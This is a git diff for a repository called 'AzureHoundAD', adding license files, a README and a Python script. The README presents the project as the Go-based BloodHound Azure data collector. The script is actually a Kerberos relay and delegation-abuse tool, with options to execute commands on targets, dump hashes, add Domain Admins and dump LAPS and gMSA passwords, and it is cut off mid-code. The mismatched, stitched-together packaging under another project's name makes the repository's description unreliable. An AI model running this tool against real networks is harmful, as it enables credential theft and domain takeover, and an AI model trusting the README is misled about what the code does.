PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + +17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS + +How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + +To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + +Copyright (C) 2024 Sulaiman A + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see [gnu](http://www.gnu.org/licenses/). + +Also add information on how to contact you by electronic and paper mail. + +If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + +AzureHoundAD Copyright (C) 2017 - 2024 | byt3n33dl3 ( Sulaiman ) - Leader of GangstaCrew + +This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. +This is free software, and you are welcome to redistribute it +under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + +You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +[gnu](http://www.gnu.org/licenses/). + +The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +[lgpl](http://www.gnu.org/philosophy/why-not-lgpl.html). diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..63c2d21 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,201 @@ +Apache License + Version 2.0, January 2004 + www.apache.org/licenses + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2024 @byt3n33dl3 (Sulaiman A) + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/NOTICE.md b/NOTICE.md new file mode 100644 index 0000000..f94683b --- /dev/null +++ b/NOTICE.md @@ -0,0 +1,15 @@ +Copyright (C) 2024 The @byt3n33dl3 +Copyright (C) 2022 The BloodHound Enterprise Team + +AzureHound is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +AzureHound is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see [www.gnu.org](https://www.gnu.org/licenses/). diff --git a/README.md b/README.md index d685120..1c5d5f5 100644 --- a/README.md +++ b/README.md @@ -1,100 +1,91 @@ -

- -

- -**A collection of awesome lists for hackers, pentesters & security researchers.** - -Your contributions are always welcome ! - -## Awesome Repositories - -Repository | Description ----- | ---- -[Android Security](https://github.com/ashishb/android-security-awesome) | Collection of Android security related resources -[AppSec](https://github.com/paragonie/awesome-appsec) | Resources for learning about application security -[Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) | List of resources which help during asset discovery phase of a security assessment engagement -[Bug Bounty](https://github.com/djadmin/awesome-bug-bounty) | List of Bug Bounty Programs and write-ups from the Bug Bounty hunters -[Capsulecorp Pentest](https://github.com/r3dy/capsulecorp-pentest) | Vagrant+Ansible virtual network penetration testing lab. Companion to "The Art of Network Penetration Testing" by Royce Davis -[CTF](https://github.com/apsdehal/awesome-ctf) | List of CTF frameworks, libraries, resources and softwares -[Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills) | Curated list of hacking environments where you can train your cyber skills legally and safely -[DevSecOps](https://github.com/devsecops/awesome-devsecops) | List of awesome DevSecOps tools with the help from community experiments and contributions -[Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security) | A curated list of awesome resources about embedded and IoT security -[Exploit Development](https://github.com/FabioBaroni/awesome-exploit-development) | Resources for learning about Exploit Development -[Fuzzing](https://github.com/secfigo/Awesome-Fuzzing) | List of fuzzing resources for learning Fuzzing and initial phases of Exploit Development like root cause analysis -[Hacking](https://github.com/carpedm20/awesome-hacking) | List of awesome Hacking tutorials, tools and resources -[Hacking Resources](https://github.com/vitalysim/Awesome-Hacking-Resources) | Collection of hacking / penetration testing resources to make you better! -[Honeypots](https://github.com/paralax/awesome-honeypots) | List of honeypot resources -[Incident Response](https://github.com/meirwah/awesome-incident-response) | List of tools for incident response -[Industrial Control System Security](https://github.com/hslatman/awesome-industrial-control-system-security) | List of resources related to Industrial Control System (ICS) security -[InfoSec](https://github.com/onlurking/awesome-infosec) | List of awesome infosec courses and training resources -[IoT Hacks](https://github.com/nebgnahz/awesome-iot-hacks) | Collection of Hacks in IoT Space -[Mainframe Hacking](https://github.com/samanL33T/Awesome-Mainframe-Hacking) | List of Awesome Mainframe Hacking/Pentesting Resources -[Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) | List of awesome malware analysis tools and resources -[OSINT](https://github.com/jivoi/awesome-osint) | List of amazingly awesome Open Source Intelligence (OSINT) tools and resources -[OSX and iOS Security](https://github.com/ashishb/osx-and-ios-security-awesome) | OSX and iOS related security tools -[Pcaptools](https://github.com/caesar0301/awesome-pcaptools) | Collection of tools developed by researchers in the Computer Science area to process network traces -[Pentest](https://github.com/enaqx/awesome-pentest) | List of awesome penetration testing resources, tools and other shiny things -[PHP Security](https://github.com/ziadoz/awesome-php#security) | Libraries for generating secure random numbers, encrypting data and scanning for vulnerabilities -[Real-time Communications hacking & pentesting resources](https://github.com/EnableSecurity/awesome-rtc-hacking) | Covers VoIP, WebRTC and VoLTE security related topics -[Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) | List of Awesome Red Team / Red Teaming Resources -[Reversing](https://github.com/fdivrp/awesome-reversing) | List of awesome reverse engineering resources -[Reinforcement Learning for Cyber Security](https://github.com/Limmen/awesome-rl-for-cybersecurity) | List of awesome reinforcement learning for security resources -[Sec Talks](https://github.com/PaulSec/awesome-sec-talks) | List of awesome security talks -[SecLists](https://github.com/danielmiessler/SecLists) | Collection of multiple types of lists used during security assessments -[Security](https://github.com/sbilly/awesome-security) | Collection of awesome software, libraries, documents, books, resources and cools stuffs about security -[Serverless Security](https://github.com/puresec/awesome-serverless-security/) | Collection of Serverless security related resources -[Social Engineering](https://github.com/v2-dev/awesome-social-engineering) | List of awesome social engineering resources -[Static Analysis](https://github.com/mre/awesome-static-analysis) | List of static analysis tools, linters and code quality checkers for various programming languages -[The Art of Hacking Series](https://github.com/The-Art-of-Hacking/h4cker) | List of resources includes thousands of cybersecurity-related references and resources -[Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) | List of Awesome Threat Intelligence resources -[Vehicle Security](https://github.com/jaredthecoder/awesome-vehicle-security) | List of resources for learning about vehicle security and car hacking -[Vulnerability Research](https://github.com/re-pronin/awesome-vulnerability-research) | List of resources about Vulnerability Research -[Web Hacking](https://github.com/infoslack/awesome-web-hacking) | List of web application security -[Windows Exploitation - Advanced](https://github.com/yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References) | List of Awesome Advanced Windows Exploitation References -[WiFi Arsenal](https://github.com/0x90/wifi-arsenal) | Pack of various useful/useless tools for 802.11 hacking -[YARA](https://github.com/InQuest/awesome-yara) | List of awesome YARA rules, tools, and people -[Hacker Roadmap](https://github.com/sundowndev/hacker-roadmap) | A guide for amateur pen testers and a collection of hacking tools, resources and references to practice ethical hacking. - -## Other Useful Repositories - -Repository | Description ----- | ---- -[Adversarial Machine Learning](https://github.com/yenchenlin/awesome-adversarial-machine-learning) | Curated list of awesome adversarial machine learning resources -[AI Security](https://github.com/RandomAdversary/Awesome-AI-Security) | Curated list of AI security resources -[API Security Checklist](https://github.com/shieldfy/API-Security-Checklist) | Checklist of the most important security countermeasures when designing, testing, and releasing your API -[APT Notes](https://github.com/kbandla/APTnotes) | Various public documents, whitepapers and articles about APT campaigns -[Bug Bounty Reference](https://github.com/ngalongc/bug-bounty-reference) | List of bug bounty write-up that is categorized by the bug nature -[Cryptography](https://github.com/sobolevn/awesome-cryptography) | Cryptography resources and tools -[CTF Tool](https://github.com/SandySekharan/CTF-tool) | List of Capture The Flag (CTF) frameworks, libraries, resources and softwares -[CVE PoC](https://github.com/qazbnm456/awesome-cve-poc) | List of CVE Proof of Concepts (PoCs) -[CVE PoC updated daily](https://github.com/trickest/cve) | List of CVE Proof of Concepts (PoCs) updated daily by Trickest -[Detection Lab](https://github.com/clong/DetectionLab) | Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices -[Forensics](https://github.com/Cugu/awesome-forensics) | List of awesome forensic analysis tools and resources -[Free Programming Books](https://github.com/EbookFoundation/free-programming-books) | Free programming books for developers -[Gray Hacker Resources](https://github.com/bt3gl/Gray-Hacker-Resources) | Useful for CTFs, wargames, pentesting -[GTFOBins](https://gtfobins.github.io) | A curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions -[Hacker101](https://github.com/Hacker0x01/hacker101) | A free class for web security by HackerOne -[Infosec Getting Started](https://github.com/gradiuscypher/infosec_getting_started) | A collection of resources, documentation, links, etc to help people learn about Infosec -[Infosec Reference](https://github.com/rmusser01/Infosec_Reference) | Information Security Reference That Doesn't Suck -[IOC](https://github.com/sroberts/awesome-iocs) | Collection of sources of indicators of compromise -[Linux Kernel Exploitation](https://github.com/xairy/linux-kernel-exploitation) | A bunch of links related to Linux kernel fuzzing and exploitation -[Lockpicking](https://github.com/meitar/awesome-lockpicking) | Resources relating to the security and compromise of locks, safes, and keys. -[Machine Learning for Cyber Security](https://github.com/jivoi/awesome-ml-for-cybersecurity) | Curated list of tools and resources related to the use of machine learning for cyber security -[Payloads](https://github.com/foospidy/payloads) | Collection of web attack payloads -[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) | List of useful payloads and bypass for Web Application Security and Pentest/CTF -[Pentest Cheatsheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) | Collection of the cheat sheets useful for pentesting -[Pentest Wiki](https://github.com/nixawk/pentest-wiki) | A free online security knowledge library for pentesters / researchers -[Probable Wordlists](https://github.com/berzerk0/Probable-Wordlists) | Wordlists sorted by probability originally created for password generation and testing -[Resource List](https://github.com/FuzzySecurity/Resource-List) | Collection of useful GitHub projects loosely categorised -[Reverse Engineering](https://github.com/onethawt/reverseengineering-reading-list) | List of Reverse Engineering articles, books, and papers -[RFSec-ToolKit](https://github.com/cn0xroot/RFSec-ToolKit) | Collection of Radio Frequency Communication Protocol Hacktools -[Security Cheatsheets](https://github.com/andrewjkerr/security-cheatsheets) | Collection of cheatsheets for various infosec tools and topics -[Security List](https://github.com/zbetcheckin/Security_list) | Great security list for fun and profit -[Shell](https://github.com/alebcay/awesome-shell) | List of awesome command-line frameworks, toolkits, guides and gizmos to make complete use of shell -[ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) | A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns -[Web Security](https://github.com/qazbnm456/awesome-web-security) | Curated list of Web Security materials and resources -[Vulhub](https://github.com/vulhub/vulhub) | Pre-Built Vulnerable Environments Based on Docker-Compose +# AzureHoundAD + +The BloodHound data collector for Microsoft Azure + +![GitHub Workflow Status](https://img.shields.io/github/actions/workflow/status/byt3n33dl3/AzureHoundAD/build.yml) +![GitHub release (latest SemVer)](https://img.shields.io/github/v/release/byt3n33dl3/AzureHoundAD) +![GitHub all releases](https://img.shields.io/github/downloads/byt3n33dl3/AzureHoundAD/total) +[![Documentation](https://img.shields.io/static/v1?label=&message=documentation&color=blue)](https://pkg.go.dev/github.com/byt3n33dl3/azurehoundad) + +## Get AzureHoundAD + +#### Release Binaries + +Download the appropriate binary for your platform from one of our [Releases](https://github.com/byt3n33dl3/AzureHoundAD/releases). + +#### Rolling Release + +The rolling release contains pre-built binaries that are automatically kept up-to-date with the `main` branch and can be downloaded from +[here](https://github.com/byt3n33dl3/AzureHoundAD/releases/tag/rolling). + +> **Warning:** The rolling release may be unstable. + +## Compiling + +#### Prerequisites + +- [Go 1.18](https://go.dev/dl) or later + +To build this project from source run the following: + +```sh +go build -ldflags="-s -w -X github.com/byt3n33dl3/AzureHoundAD/v2/constants.Version=`git describe tags --exact-match 2> /dev/null || git rev-parse HEAD`" +``` + +## Usage + +#### Quickstart + +**Print all Azure Tenant data to stdout** + +```sh +❯ azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT" +``` + +**Print all Azure Tenant data to file** + +```sh +❯ azurehound list -u "$USERNAME" -p "$PASSWORD" -t "$TENANT" -o "mytenant.json" +``` + +**Configure and start data collection service for BloodHound Enterprise** + +```sh +❯ azurehound configure +(follow prompts) + +❯ azurehound start +``` + +## CLI + +``` +❯ azurehound --help +AzureHound vx.x.x +Created by the BloodHound Enterprise team - https://bloodhoundenterprise.io + +The official tool for collecting Azure data for BloodHound and BloodHound Enterprise + +Usage: + azurehound [command] + +Available Commands: + completion Generate the autocompletion script for the specified shell + configure Configure AzureHound + help Help about any command + list Lists Azure Objects + start Start Azure data collection service for BloodHound Enterprise + +Flags: + -c, --config string AzureHound configuration file (default: /Users/dlees/.config/azurehound/config.json) + -h, --help help for azurehound + --json Output logs as json + -j, --jwt string Use an acquired JWT to authenticate into Azure + --log-file string Output logs to this file + --proxy string Sets the proxy URL for the AzureHound service + -r, --refresh-token string Use an acquired refresh token to authenticate into Azure + -v, --verbosity int AzureHound verbosity level (defaults to 0) [Min: -1, Max: 2] + --version version for azurehound + +Use "azurehound [command] --help" for more information about a command. +``` diff --git a/azurehound.py b/azurehound.py new file mode 100644 index 0000000..8cc028e --- /dev/null +++ b/azurehound.py @@ -0,0 +1,261 @@ +#!/usr/bin/env python +#################### +# +# Copyright (c) 2020 Dirk-jan Mollema (@_dirkjan) +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +# +#################### +# +# This tool is based on ntlmrelayx, part of Impacket +# Copyright (c) 2013-2018 SecureAuth Corporation +# +# Impacket is provided under under a slightly modified version +# of the Apache Software License. +# See https://github.com/SecureAuthCorp/impacket/blob/master/LICENSE +# for more information. +# +# +# Ntlmrelayx authors: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Outsider Security (www.outsidersecurity.nl) +# + +import argparse +import sys +import binascii +import logging + +from impacket.examples import logger +from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS +from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher + +from lib.servers import SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer +from lib.utils.config import KrbRelayxConfig + +RELAY_SERVERS = ( SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer ) + +def stop_servers(threads): + todelete = [] + for thread in threads: + if isinstance(thread, RELAY_SERVERS): + thread.server.shutdown() + todelete.append(thread) + # Now remove threads from the set + for thread in todelete: + threads.remove(thread) + del thread + +def main(): + def start_servers(options, threads): + for server in RELAY_SERVERS: + #Set up config + c = KrbRelayxConfig() + c.setProtocolClients(PROTOCOL_CLIENTS) + c.setTargets(targetSystem) + c.setExeFile(options.e) + c.setCommand(options.c) + c.setEnumLocalAdmins(options.enum_local_admins) + c.setEncoding(codec) + c.setMode(mode) + c.setAttacks(PROTOCOL_ATTACKS) + c.setLootdir(options.lootdir) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) + c.setIPv6(options.ipv6) + c.setWpadOptions(options.wpad_host, options.wpad_auth_num) + c.setSMB2Support(not options.no_smb2support) + c.setInterfaceIp(options.interface_ip) + if options.krbhexpass and not options.krbpass: + c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True) + else: + c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False) + c.setKrbOptions(options.format, options.victim) + c.setIsADCSAttack(options.adcs) + c.setADCSOptions(options.template) + + #If the redirect option is set, configure the HTTP server to redirect targets to SMB + if server is HTTPKrbRelayServer and options.r is not None: + c.setMode('REDIRECT') + c.setRedirectHost(options.r) + + s = server(c) + s.start() + threads.add(s) + return c + + # Init the example's logger theme + logger.init() + + #Parse arguments + parser = argparse.ArgumentParser(add_help=False, + description="Kerberos relay and unconstrained delegation abuse tool. " + "By @_dirkjan / dirkjanm.io") + parser._optionals.title = "Main options" + + #Main arguments + parser.add_argument("-h", "--help", action="help", help='show this help message and exit') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-t', "--target", action='store', metavar = 'TARGET', help='Target to attack, ' + 'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.') + parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' + 'full URL, one per line') + parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' + 'automatically (only valid with -tf)') + + # Interface address specification + parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' + 'bind SMB and HTTP servers',default='') + + parser.add_argument('-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') + parser.add_argument('-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot ' + 'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).') + parser.add_argument('-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store',help='Format to store tickets in. Valid: ccache (Impacket) or kirbi' + ' (Mimikatz format) default: ccache') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py ' + 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) + parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support') + + parser.add_argument('-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, ' + 'setting the proxy host to the one supplied.') + parser.add_argument('-wa', '--wpad-auth-num', action='store', help='Prompt for authentication N times for clients without MS16-077 installed ' + 'before serving a WPAD file.') + parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4') + + # Authentication arguments + group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') + group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') + group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') + group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' + 'Only required if specifying password instead of keys.') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + #SMB arguments + smboptions = parser.add_argument_group("SMB attack options") + + smboptions.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. ' + 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') + smboptions.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on ' + 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' + 'directory).') + smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') + + #LDAP options + ldapoptions = parser.add_argument_group("LDAP attack options") + ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') + ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') + ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') + ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') + ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') + ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') + ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') + ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') + ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') + ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') + 